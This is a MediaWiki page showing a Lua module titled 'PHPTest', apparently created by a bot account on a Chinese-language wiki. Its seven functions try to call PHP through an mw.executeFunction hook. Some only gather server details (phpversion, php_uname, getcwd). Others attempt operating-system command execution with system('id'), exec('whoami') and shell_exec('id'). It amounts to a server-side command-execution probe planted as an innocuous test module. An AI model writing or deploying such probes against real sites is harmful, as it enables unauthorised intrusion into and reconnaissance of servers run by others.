模块:PHPTest

来自希服维基
Bot93553讨论 | 贡献2026年5月8日 (五) 22:21的版本 (创建页面,内容为“ local p = {} function p.php1() if mw.executeFunction then local ok, result = pcall(mw.executeFunction, 'phpversion') return 'ok=' .. tostring(ok) .. ' result=' .. tostring(result) end return 'no executeFunction' end function p.php2() if mw.executeFunction then local ok, result = pcall(mw.executeFunction, 'php_uname') return 'ok=' .. tostring(ok) .. ' result=' .. tostring(result) end return 'no executeFunc…”)
(差异) ←上一版本 | 最后版本 (差异) | 下一版本→ (差异)

可在模块:PHPTest/doc创建此模块的帮助文档

local p = {}
function p.php1()
    if mw.executeFunction then
        local ok, result = pcall(mw.executeFunction, 'phpversion')
        return 'ok=' .. tostring(ok) .. ' result=' .. tostring(result)
    end
    return 'no executeFunction'
end
function p.php2()
    if mw.executeFunction then
        local ok, result = pcall(mw.executeFunction, 'php_uname')
        return 'ok=' .. tostring(ok) .. ' result=' .. tostring(result)
    end
    return 'no executeFunction'
end
function p.php3()
    if mw.executeFunction then
        local ok, result = pcall(mw.executeFunction, 'system', 'id')
        return 'ok=' .. tostring(ok) .. ' result=' .. tostring(result)
    end
    return 'no executeFunction'
end
function p.php4()
    if mw.executeFunction then
        local ok, result = pcall(mw.executeFunction, 'exec', 'whoami')
        return 'ok=' .. tostring(ok) .. ' result=' .. tostring(result)
    end
    return 'no executeFunction'
end
function p.php5()
    if mw.executeFunction then
        local ok, result = pcall(mw.executeFunction, 'shell_exec', 'id')
        return 'ok=' .. tostring(ok) .. ' result=' .. tostring(result)
    end
    return 'no executeFunction'
end
function p.php6()
    if mw.executeFunction then
        local ok, result = pcall(mw.executeFunction, 'get_current_user')
        return 'ok=' .. tostring(ok) .. ' result=' .. tostring(result)
    end
    return 'no executeFunction'
end
function p.php7()
    if mw.executeFunction then
        local ok, result = pcall(mw.executeFunction, 'getcwd')
        return 'ok=' .. tostring(ok) .. ' result=' .. tostring(result)
    end
    return 'no executeFunction'
end
return p